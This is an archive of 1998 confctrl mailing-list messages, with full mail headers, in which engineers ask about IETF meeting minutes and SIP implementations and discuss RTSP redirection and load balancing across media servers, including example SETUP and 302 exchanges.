Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_01F7_01BDD296.0D6852B0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi!

I would like to get some information about what was discussed at the =
recent IETF
meeting. Is it available somewhere? I could not find anything at the =
IETF ftp site,
and nothing from the meeting before either.=20

Thanks in advance,

Fredrik Huss

------=_NextPart_000_01F7_01BDD296.0D6852B0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Hi!</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I would like to get some information =
about what=20
was discussed at the recent IETF</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>meeting. Is it =
available=20
somewhere? I could not find anything at the IETF ftp site,</FONT></DIV>
<DIV><FONT size=3D2>and nothing from the meeting before either. =
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Thanks in advance,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Fredrik =
Huss</FONT></DIV></BODY></HTML>

------=_NextPart_000_01F7_01BDD296.0D6852B0--



From confctrl-owner  Sun Aug 30 19:59:15 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA09425
	for confctrl-outgoing; Sun, 30 Aug 1998 19:59:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA09420
	for <confctrl@zephyr.isi.edu>; Sun, 30 Aug 1998 19:59:13 -0700 (PDT)
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA08346
	for <confctrl@ISI.EDU>; Sun, 30 Aug 1998 19:59:12 -0700 (PDT)
Received: from www45.inria.fr by www45.inria.fr (8.8.8/8.8.5) with ESMTP id EAA18911; Mon, 31 Aug 1998 04:59:03 +0200 (MET DST)
Message-Id: <199808310259.EAA18911@www45.inria.fr>
To: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
cc: confctrl@ISI.EDU
Subject: Re: Presentation slides 
In-reply-to: Your message of Fri, 28 Aug 1998 15:46:57 +0200.
             <3.0.5.32.19980828154657.00873220@127.0.0.1> 
Date: Mon, 31 Aug 1998 04:59:03 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


An HTML version is available at:

http://www.w3.org/Talks/1998/0826-ietf/

I'll send you the powerpoint files in a seperate mail.

On 28/08/1998, Joerg Ott <jo@Informatik.Uni-Bremen.DE>  wrote:
>Folks,
>
>I'd like to ask all the presenters in the MMUSIC session to send
>me a (pointer to) a copy of their slides so that I can attach them
>to the minutes (as soon as those are done).
>
>Thanks a lot,
>Joerg
>

From confctrl-owner  Thu Sep  3 08:33:58 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26927
	for confctrl-outgoing; Thu, 3 Sep 1998 08:33:58 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26917
	for <confctrl@zephyr.isi.edu>; Thu, 3 Sep 1998 08:33:56 -0700 (PDT)
Received: from proxyu.oz.is (proxyu.oz.is [193.4.211.81])
	by venera.isi.edu (8.8.7/8.8.6) with ESMTP id IAA19302
	for <confctrl@isi.edu>; Thu, 3 Sep 1998 08:33:45 -0700 (PDT)
From: jii@oz.is
Received: from kansas.intranet.oz.is (kansas.intranet.oz.is [172.22.1.144])
          by proxyu.oz.is (2.5 Build 2640 (Berkeley 8.8.6)/8.8.4) with SMTP
	  id PAA00754 for <confctrl@isi.edu>; Thu, 03 Sep 1998 15:34:23 GMT
Received: by kansas.intranet.oz.is(Lotus SMTP MTA v4.6.1  (569.2 2-6-1998))  id 00256674.005561BB ; Thu, 3 Sep 1998 15:32:35 +0000
X-Lotus-FromDomain: OZ-INC
To: confctrl@ISI.EDU
Message-ID: <00256674.00555765.00@kansas.intranet.oz.is>
Date: Thu, 3 Sep 1998 15:32:34 +0000
Subject: SIP implementations
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I'm looking for information about SIP applications.  Especially which
companies / research institutes are currently working with SIP and if
applications are available today.

Wr,

Jon Ingi Ingimundarson
Senior Software Engineer
OZ Interactive

e-mail : jii@oz.is
tel : +354.535.0011




From confctrl-owner  Thu Sep  3 15:46:47 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA18128
	for confctrl-outgoing; Thu, 3 Sep 1998 15:46:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA18123
	for <confctrl@zephyr.isi.edu>; Thu, 3 Sep 1998 15:46:45 -0700 (PDT)
Received: from deliverator.sgi.com (deliverator.sgi.com [204.94.214.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA21335
	for <confctrl@ISI.EDU>; Thu, 3 Sep 1998 15:46:44 -0700 (PDT)
Received: from odin.corp.sgi.com (odin.corp.sgi.com [192.26.51.194]) by deliverator.sgi.com (980309.SGI.8.8.8-aspam-6.2/980310.SGI-aspam) via SMTP id PAA29030
	for <@deliverator.sgi.com:confctrl@ISI.EDU>; Thu, 3 Sep 1998 15:45:14 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: from sgi.sgi.com by odin.corp.sgi.com via ESMTP (951211.SGI.8.6.12.PATCH1502/951211.SGI)
	for <@relay.sgi.com:confctrl@ISI.EDU> id PAA16179; Thu, 3 Sep 1998 15:18:16 -0700
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) 
	by sgi.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam:
       SGI does not authorize the use of its proprietary
       systems or networks for unsolicited or bulk email
       from the Internet.) 
	via ESMTP id PAA02335
	for <@sgi.engr.sgi.com:confctrl@ISI.EDU>; Thu, 3 Sep 1998 15:18:15 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: from relic.engr.sgi.com (relic.engr.sgi.com [198.29.115.71])
	by cthulhu.engr.sgi.com (980427.SGI.8.8.8/970903.SGI.AUTOCF)
	via SMTP id PAA96415
	for <@cthulhu.engr.sgi.com:confctrl@ISI.EDU>;
	Thu, 3 Sep 1998 15:18:15 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: (from kordale@localhost) by relic.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA23063 for confctrl@ISI.EDU; Thu, 3 Sep 1998 15:18:14 -0700
From: "Ram Kordale" <kordale@relic.engr.sgi.com>
Message-Id: <9809031518.ZM23061@relic.engr.sgi.com>
Date: Thu, 3 Sep 1998 15:18:14 -0700
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
To: confctrl@ISI.EDU
Subject: REDIRECT in RTSP
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I was wondering why it would not be a good idea to allow the server to return
"redirect" information as a response to a client's  (SETUP) request.

I am thinking of a front end RTSP server that clients talk to first. This
server can figure which RTSP/Media server the client should really be talking
to based on load, availability etc.

Today's spec seems to handle it in the following manner:

C->S    SETUP rtsp://server1/....
        ...

S->C     RTSP/1.0 200 OK
        ...
        Transport: RTP/AVP; source=<server2's address>;...

S->C    REDIRECT rtsp://server1/...
        ...
        Location: rtsp://server2/...


Thus, while a different media server can be specified as a *response* to SETUP,
a different RTSP server cannot be specified. Allowing these to be combined
seems to be a very useful thing to do.

Has this been discussed? Any pointers to an FAQ?

Thanks.
Ram

-- 
Ram Kordale

From confctrl-owner  Thu Sep  3 16:51:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA23444
	for confctrl-outgoing; Thu, 3 Sep 1998 16:51:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA23437
	for <confctrl@zephyr.isi.edu>; Thu, 3 Sep 1998 16:51:56 -0700 (PDT)
Received: from deliverator.sgi.com (deliverator.sgi.com [204.94.214.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA27349
	for <confctrl@ISI.EDU>; Thu, 3 Sep 1998 16:51:55 -0700 (PDT)
Received: from odin.corp.sgi.com (odin.corp.sgi.com [192.26.51.194]) by deliverator.sgi.com (980309.SGI.8.8.8-aspam-6.2/980310.SGI-aspam) via SMTP id QAA14094
	for <@deliverator.sgi.com:confctrl@ISI.EDU>; Thu, 3 Sep 1998 16:50:24 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: from sgi.sgi.com by odin.corp.sgi.com via ESMTP (951211.SGI.8.6.12.PATCH1502/951211.SGI)
	for <@relay.sgi.com:confctrl@ISI.EDU> id QAA16310; Thu, 3 Sep 1998 16:51:52 -0700
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) 
	by sgi.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam:
       SGI does not authorize the use of its proprietary
       systems or networks for unsolicited or bulk email
       from the Internet.) 
	via ESMTP id QAA07663
	for <@sgi.engr.sgi.com:confctrl@ISI.EDU>; Thu, 3 Sep 1998 16:51:51 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: from relic.engr.sgi.com (relic.engr.sgi.com [198.29.115.71])
	by cthulhu.engr.sgi.com (980427.SGI.8.8.8/970903.SGI.AUTOCF)
	via SMTP id QAA11449
	for <@cthulhu.engr.sgi.com:confctrl@ISI.EDU>;
	Thu, 3 Sep 1998 16:51:50 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: (from kordale@localhost) by relic.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id QAA23105 for confctrl@ISI.EDU; Thu, 3 Sep 1998 16:51:49 -0700
From: "Ram Kordale" <kordale@relic.engr.sgi.com>
Message-Id: <9809031651.ZM23103@relic.engr.sgi.com>
Date: Thu, 3 Sep 1998 16:51:48 -0700
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
To: confctrl@ISI.EDU
Subject: Re: REDIRECT in RTSP
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Please ignore my previous query. I overlooked the Redirection status codes that
a server can return in response to a client's query.

Ram

-- 
Ram Kordale

From confctrl-owner  Thu Sep  3 17:39:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA27632
	for confctrl-outgoing; Thu, 3 Sep 1998 17:39:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA27627
	for <confctrl@zephyr.isi.edu>; Thu, 3 Sep 1998 17:39:49 -0700 (PDT)
Received: from deliverator.sgi.com (deliverator.sgi.com [204.94.214.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA01381
	for <confctrl@ISI.EDU>; Thu, 3 Sep 1998 17:39:48 -0700 (PDT)
Received: from odin.corp.sgi.com (odin.corp.sgi.com [192.26.51.194]) by deliverator.sgi.com (980309.SGI.8.8.8-aspam-6.2/980310.SGI-aspam) via SMTP id RAA25286
	for <@deliverator.sgi.com:confctrl@ISI.EDU>; Thu, 3 Sep 1998 17:38:18 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: from sgi.sgi.com by odin.corp.sgi.com via ESMTP (951211.SGI.8.6.12.PATCH1502/951211.SGI)
	for <@relay.sgi.com:confctrl@ISI.EDU> id RAA01634; Thu, 3 Sep 1998 17:39:47 -0700
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) 
	by sgi.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam:
       SGI does not authorize the use of its proprietary
       systems or networks for unsolicited or bulk email
       from the Internet.) 
	via ESMTP id RAA01708
	for <@sgi.engr.sgi.com:confctrl@ISI.EDU>; Thu, 3 Sep 1998 17:39:46 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: from relic.engr.sgi.com (relic.engr.sgi.com [198.29.115.71])
	by cthulhu.engr.sgi.com (980427.SGI.8.8.8/970903.SGI.AUTOCF)
	via SMTP id RAA97145
	for <@cthulhu.engr.sgi.com:confctrl@ISI.EDU>;
	Thu, 3 Sep 1998 17:39:46 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: (from kordale@localhost) by relic.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA23155; Thu, 3 Sep 1998 17:39:45 -0700
From: "Ram Kordale" <kordale@relic.engr.sgi.com>
Message-Id: <9809031739.ZM23153@relic.engr.sgi.com>
Date: Thu, 3 Sep 1998 17:39:45 -0700
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
To: confctrl@ISI.EDU
Subject: Re: REDIRECT in RTSP
Cc: kordale@sgi.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Actually, the spec allows the server to include the following in its
response to a client's SETUP request:
 1) a "redirection" status code that redirects to a new RTSP server
 2) specify a different media server (source port, RTP related info)

Thus, it appears that the following is possible:
  1) the front end server can forward the client's request to the appropriate
        RTSP/media server.
  2) The second server processes the request, sets up the relevant data
     connections, and returns the response (to the first server).
  3) The first server can return relevant "transport info" it got from the
     second server along with the "redirect" status code.

However, to make this work, the second server should be able to relate the new
session that the client sets up with the data connections it has already
opened.
How can this be done?

Passing the session id on second server to the client which could then use it
seems like one way. Any thoughts on this?

Thanks.
Ram

-- 
Ram Kordale

From confctrl-owner  Thu Sep  3 18:59:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA05600
	for confctrl-outgoing; Thu, 3 Sep 1998 18:59:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA05595
	for <confctrl@zephyr.isi.edu>; Thu, 3 Sep 1998 18:59:05 -0700 (PDT)
Received: from netcom12.netcom.com (clintdw@netcom12.netcom.com [192.100.81.124])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA08051
	for <confctrl@ISI.EDU>; Thu, 3 Sep 1998 18:59:04 -0700 (PDT)
Received: (from clintdw@localhost)
	by netcom12.netcom.com (8.8.5-r-beta/8.8.5/(NETCOM v1.02)) id SAA15787;
	Thu, 3 Sep 1998 18:58:56 -0700 (PDT)
From: Clinton Wong <clintdw@netcom.com>
Message-Id: <199809040158.SAA15787@netcom12.netcom.com>
Subject: Re: REDIRECT in RTSP
To: kordale@relic.engr.sgi.com (Ram Kordale)
Date: Thu, 3 Sep 1998 18:58:54 -0700 (PDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <9809031739.ZM23153@relic.engr.sgi.com> from "Ram Kordale" at Sep 3, 98 05:39:45 pm
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> However, to make this work, the second server should be able to relate the new
> session that the client sets up with the data connections it has already
> opened.
> How can this be done?
> 
> Passing the session id on second server to the client which could then use it
> seems like one way. Any thoughts on this?

There are a few possible ways to do what you describe, depending
on what you want to achieve.

For the purposes of load balancing, the server can issue a 301 or 302
response (Moved permanently, Moved temporarily).  The client
would disconnect and then go to the server specified in the 
Location header.

C->S:
SETUP rtsp://media.apple.com/imac_ad.mov RTSP/1.0
CSeq: 1
Transport: RTP/AVP;unicast;client_port=6660-6661
S->C:
RTSP/1.0 302 Moved Temporarily
CSeq: 1
Location: rtsp://mirror5.apple.com/imac_ad.mov RTSP/1.0

The client would disconnect from media.apple.com and then do
a SETUP request on mirror5.apple.com.

If you want to do a proxy server, the client would do a setup
on the proxy server, the proxy server would do a setup
on the destination server, and when RTP packets flow
from the destination server to the proxy (after a PLAY),
the proxy would forward a copy of the packet to the client.

Or it is possible to have one RTSP server that controls
many RTP servers.  The RTSP server would pick one of the
RTP servers and put the RTP server's IP address in
the Transport header.  The RTSP server would have
to keep track of what RTP servers are assigned to what
Session ID's, though.

Clinton


From confctrl-owner  Thu Sep  3 19:44:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA09742
	for confctrl-outgoing; Thu, 3 Sep 1998 19:44:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA09736
	for <confctrl@zephyr.isi.edu>; Thu, 3 Sep 1998 19:44:53 -0700 (PDT)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA10727
	for <confctrl@ISI.EDU>; Thu, 3 Sep 1998 19:44:52 -0700 (PDT)
Received: from cisco.com (dhcp-vm11-86-234.cisco.com [171.69.86.234]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id TAA28900; Thu, 3 Sep 1998 19:44:19 -0700 (PDT)
Message-ID: <35EF5347.7BACABD@cisco.com>
Date: Thu, 03 Sep 1998 19:41:11 -0700
From: Anup Rao <anrao@cisco.com>
Reply-To: anrao@cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Ram Kordale <kordale@relic.engr.sgi.com>
CC: confctrl@ISI.EDU, kordale@sgi.com
Subject: Re: REDIRECT in RTSP
References: <9809031739.ZM23153@relic.engr.sgi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ram Kordale wrote:
> 
> Actually, the spec allows the server to include the following in its
> response to a client's SETUP request:
>  1) a "redirection" status code that redirects to a new RTSP server
>  2) specify a different media server (source port, RTP related info)
> 
> Thus, it appears that the following is possible:
>   1) the front end server can forward the client's request to the appropriate
>         RTSP/media server.
>   2) The second server processes the request, sets up the relevant data
>      connections, and returns the response (to the first server).
>   3) The first server can return relevant "transport info" it got from the
>      second server along with the "redirect" status code.
> 
> However, to make this work, the second server should be able to relate the new
> session that the client sets up with the data connections it has already
> opened.
> How can this be done?
> 
> Passing the session id on second server to the client which could then use it
> seems like one way. Any thoughts on this?
> 

The expected model is that the client goes to server1, gets redirected
to server2 via a 3xx response(and location info). It then makes the same
request to server2, which is treated as a new session. 


Any reason why the above model will not work for you ?

I dont recall quite the same thing as you are mentioning being
discussed, but it is possible that variants were. For eg.,  in your
scenario, you could make  server1  a Proxy, and have the client always
talk to it(rather than the first request going to server1 and all other
going to server2), while data always comes from server2.

-Anup.

From confctrl-owner  Thu Sep  3 22:55:54 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA24383
	for confctrl-outgoing; Thu, 3 Sep 1998 22:55:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA24378
	for <confctrl@zephyr.isi.edu>; Thu, 3 Sep 1998 22:55:53 -0700 (PDT)
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA19559
	for <confctrl@ISI.EDU>; Thu, 3 Sep 1998 22:55:50 -0700 (PDT)
Received: from little-bear.precept.com (little-bear.precept.com [204.162.119.40])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id WAA28392;
	Thu, 3 Sep 1998 22:55:16 -0700 (PDT)
Date: Thu, 3 Sep 1998 22:55:16 -0700 (PDT)
From: Stephen Casner <casner@cisco.com>
X-Sender: casner@little-bear.precept.com
To: Ram Kordale <kordale@relic.engr.sgi.com>
cc: Anup Rao <anrao@cisco.com>, confctrl@ISI.EDU
Subject: Re: REDIRECT in RTSP
In-Reply-To: <35EF5347.7BACABD@cisco.com>
Message-ID: <Pine.SO4.4.00.9809032247260.2946-100000@little-bear.precept.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> The expected model is that the client goes to server1, gets redirected
> to server2 via a 3xx response(and location info). It then makes the same
> request to server2, which is treated as a new session. 

This procedure is what we implemented at Precept (now Cisco), though
the exchange happens at the DESCRIBE stage rather than SETUP.

There was one consideration that we ran across that I think is not
discussed anywhere: we've returned a cookie from the initial server to
be included in the redirected request to the second server so the
latter can verify that the request did go through the initial server.
The method for doing this is not standardized.
							-- Steve


From confctrl-owner  Fri Sep  4 08:56:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA04656
	for confctrl-outgoing; Fri, 4 Sep 1998 08:56:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04642
	for <confctrl@zephyr.isi.edu>; Fri, 4 Sep 1998 08:56:39 -0700 (PDT)
Received: from deliverator.sgi.com (deliverator.sgi.com [204.94.214.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA19206
	for <confctrl@ISI.EDU>; Fri, 4 Sep 1998 08:56:36 -0700 (PDT)
Received: from odin.corp.sgi.com (odin.corp.sgi.com [192.26.51.194]) by deliverator.sgi.com (980309.SGI.8.8.8-aspam-6.2/980310.SGI-aspam) via SMTP id IAA26328; Fri, 4 Sep 1998 08:55:05 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: from sgi.sgi.com by odin.corp.sgi.com via ESMTP (951211.SGI.8.6.12.PATCH1502/951211.SGI)
	 id IAA09619; Fri, 4 Sep 1998 08:56:33 -0700
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) 
	by sgi.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam:
       SGI does not authorize the use of its proprietary
       systems or networks for unsolicited or bulk email
       from the Internet.) 
	via ESMTP id IAA04331; Fri, 4 Sep 1998 08:56:32 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: from relic.engr.sgi.com (relic.engr.sgi.com [198.29.115.71])
	by cthulhu.engr.sgi.com (980427.SGI.8.8.8/970903.SGI.AUTOCF)
	via SMTP id IAA58146;
	Fri, 4 Sep 1998 08:56:32 -0700 (PDT)
	mail_from (kordale@relic.engr.sgi.com)
Received: (from kordale@localhost) by relic.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id IAA23686; Fri, 4 Sep 1998 08:56:31 -0700
From: "Ram Kordale" <kordale@relic.engr.sgi.com>
Message-Id: <9809040856.ZM23684@relic.engr.sgi.com>
Date: Fri, 4 Sep 1998 08:56:30 -0700
In-Reply-To: Stephen Casner <casner@cisco.com>
        "Re: REDIRECT in RTSP" (Sep  3, 10:55pm)
References: <Pine.SO4.4.00.9809032247260.2946-100000@little-bear.precept.com>
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
To: Stephen Casner <casner@cisco.com>
Subject: Re: REDIRECT in RTSP
Cc: Anup Rao <anrao@cisco.com>, confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Sep 3, 10:55pm, Stephen Casner wrote:
> Subject: Re: REDIRECT in RTSP
> > The expected model is that the client goes to server1, gets redirected
> > to server2 via a 3xx response(and location info). It then makes the same
> > request to server2, which is treated as a new session.
>
> This procedure is what we implemented at Precept (now Cisco), though
> the exchange happens at the DESCRIBE stage rather than SETUP.
>
> There was one consideration that we ran across that I think is not
> discussed anywhere: we've returned a cookie from the initial server to
> be included in the redirected request to the second server so the
> latter can verify that the request did go through the initial server.
> The method for doing this is not standardized.
> 							-- Steve
>-- End of excerpt from Stephen Casner

Exactly. Something like this is what we are looking for though the server
should be able to return the cookie while responding to SETUP as well.

The proxy model tends to make the front end server "a bottleneck".

The redirection model expected by the spec has the following problems:
1) Extra round trip.
2) More importantly, the client's request can potentially be redirected a
number of times. For example, when the client's request arrives at the server
to which it was redirected:
  a) may be loaded when the client's request arrives.
  b) the media asset on the second server is staged to tertiary storage.
This may require the client to be redirected again.
3) Possible duplication of work such as re-authenticating etc.

Thus, spanning the notion of session across the connection to the two servers
can help. Again, one could do this outside RTSP but it seems worthwhile to get
this into the spec.

Thanks.
Ram

-- 
Ram Kordale

From confctrl-owner  Fri Sep  4 10:52:03 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA10971
	for confctrl-outgoing; Fri, 4 Sep 1998 10:52:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA10966
	for <confctrl@zephyr.isi.edu>; Fri, 4 Sep 1998 10:52:00 -0700 (PDT)
Received: from dns3.nec.com (dns2.nec.com [131.241.15.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA29991
	for <confctrl@ISI.EDU>; Fri, 4 Sep 1998 10:51:59 -0700 (PDT)
Received: from netkeeper.sj.nec.com (netkeeper.sj.nec.com [131.241.31.2])
	by dns3.nec.com (8.9.1/8.9.1) with ESMTP id KAA12693;
	Fri, 4 Sep 1998 10:51:25 -0700 (PDT)
Received: from necccrl-pn.ccrl.sj.nec.com (necccrl-pn.ccrl.sj.nec.com [131.241.249.2])
	by netkeeper.sj.nec.com (8.8.8/8.8.8) with ESMTP id KAA07010;
	Fri, 4 Sep 1998 10:45:03 -0700 (PDT)
Received: (from smtp@localhost) by necccrl-pn.ccrl.sj.nec.com (8.8.5/8.7.3) id KAA27473; Fri, 4 Sep 1998 10:41:19 -0700 (PDT)
Received: from ccrl.sj.nec.com (monet.ccrl.sj.nec.com [131.241.79.5]) by necccrl-pn.ccrl.sj.nec.com id rfKAA27470; Fri Sep  4 10:39:44 1998
X-Spoof-Warning: ccrl.sj.nec.com [131.241.79.5] does not match with monet.ccrl.sj.nec.com [131.241.79.5]
Received: from localhost by ccrl.sj.nec.com (SMI-8.6/SMI-SVR4)
	id KAA15026; Fri, 4 Sep 1998 10:49:19 -0700
Date: Fri, 4 Sep 1998 10:49:19 -0700 (PDT)
From: Jeffrey Lo <jlo@ccrl.sj.nec.com>
To: Ram Kordale <kordale@relic.engr.sgi.com>
cc: confctrl@ISI.EDU, kordale@sgi.com
Subject: Re: REDIRECT in RTSP
In-Reply-To: <9809031739.ZM23153@relic.engr.sgi.com>
Message-ID: <Pine.SOL.3.95.980904103807.11543C-100000@monet>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,
I have a related question. Let's say in the following scenario:

RTSP clients always talk to server A which then replies with REDIRECT to
the respective media servers (Anup's scenario). For load balancing and
scalability of a popular title, if we have an architecture where different
portion of a long presentation is located on different media servers, is
there anyway to carry this information within a single REDIRECT response?
Server A now needs to inform client not only location of the media
servers, but also the portion of the presentation each media server
stores.

Please help.

Jeffrey Lo


From confctrl-owner  Fri Sep  4 11:35:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA14959
	for confctrl-outgoing; Fri, 4 Sep 1998 11:35:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA14954
	for <confctrl@zephyr.isi.edu>; Fri, 4 Sep 1998 11:35:15 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04185
	for <confctrl@isi.edu>; Fri, 4 Sep 1998 11:35:10 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.2232.9)
	id <S1KMRCG6>; Fri, 4 Sep 1998 14:34:41 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E9145566@nettrix.mediatrix.com>
From: FM List Processor <fm-listproc@mediatrix.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
